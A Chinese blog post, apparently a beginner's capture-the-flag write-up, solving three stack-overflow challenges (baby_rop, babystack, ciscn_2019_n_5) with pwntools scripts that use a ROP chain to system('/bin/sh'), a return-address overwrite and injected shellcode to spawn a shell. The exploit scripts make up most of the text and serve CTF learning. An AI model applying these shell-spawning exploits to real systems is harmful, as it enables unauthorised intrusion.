(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)
[HarekazeCTF2019]baby_rop 题
程序保护信息:
经典栈溢出题,有system
函数,/bin/sh
字符串:
解题脚本:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 00000)
binsh_add = 0x601048
system_plt = 0x400490
pop_rdi = 0x400683
payload = 'A' * 0x10 + p64(0) + p64(pop_rdi) + p64(0x60104d) + p64(system_plt)
p.sendlineafter('name?', payload)
p.interactive()
总结
难度:★★
本来这道题是常规题,但是我却解了很长的时间,因为最开始获得shell的时候我没发现flag文件在哪里,最近再来写的时候突然发现了正确位置/home/babyrop/flag
,一开始我切换到home目录后以为那个babyrop
就是本题的程序,后来想起了ls -al
命令列出的开头的d
表示目录,我还是对Linux命令不够熟悉。
bjdctf_2020_babystack 题
程序保护信息:
经典栈溢出题。
解题脚本:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('node3.buuoj.cn', 25525)
payload = 'A' * 0x10 + p64(0) + p64(0x4006E6)
p.sendlineafter('name:\n', '-1')
p.sendlineafter('name?\n', payload)
p.interactive()
总结
难度:★
简单题。
ciscn_2019_n_5 题
程序保护信息:
main函数:
很明显,可以读一定数据到name
处,由调试可知,name
属于bss
段,且可读、写和执行,所以可以将shellcode放入name
这个位置,因为下方还有一个gets
函数可以栈溢出,而且程序没开PIE所以可以通过覆盖返回地址转到name
位置。
解题脚本:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = remote('node3.buuoj.cn', 00000)
payload = 'A' * 0x20 + p64(0) + p64(0x601080)
p.sendlineafter('name\n', asm(shellcraft.sh()))
p.sendlineafter('me?\n', payload)
p.interactive()
总结
难度:★
ret2shellcode的应用